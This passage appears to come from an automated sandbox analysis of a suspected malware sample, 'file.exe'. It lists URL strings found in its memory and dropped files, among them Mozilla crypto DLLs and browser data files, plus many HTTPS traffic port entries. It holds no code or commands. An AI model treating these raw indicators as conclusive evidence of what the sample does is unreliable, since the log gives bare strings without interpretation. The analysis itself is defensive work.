Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://srtb.msn.com/
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://support.mozilla.org
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://tidal.com/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://twitter.com/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://vibe.naver.com/today
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_canary_shoreline
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://web.telegram.org/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://web.whatsapp.com
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.deezer.com/
Source: nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: KEBKJDBA.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content.js.15.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000001.00000003.1583274638.00000000237FD000.00000004.00000020.00020000.00000000.sdmp, KEBKJDBA.1.dr, EGCBAFCF.1.dr, Web Data.15.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 0fcd231f-7319-4220-a091-2a3d1dec7a72.tmp.16.dr	String found in binary or memory: https://www.googleapis.com
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.instagram.com
Source: file.exe, 00000001.00000002.1821449773.0000000001264000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.1846346705.0000000023852000.00000004.00000020.00020000.00000000.sdmp, CFCFHJDBKJKEBFHJEHII.1.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.last.fm/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.messenger.com
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1717932268.0000000023963000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1717932268.0000000023963000.00000004.00000020.00020000.00000000.sdmp, IEHDBAAFIDGDAAAAAAAAKEBFHD.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000001.00000002.1818898702.0000000000737000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: 2cc80dabc69f58b6_1.15.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.office.com
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.tiktok.com/
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://www.youtube.com
Source: 15d31450-55a5-4f47-9894-91dd6955a0d8.tmp.15.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
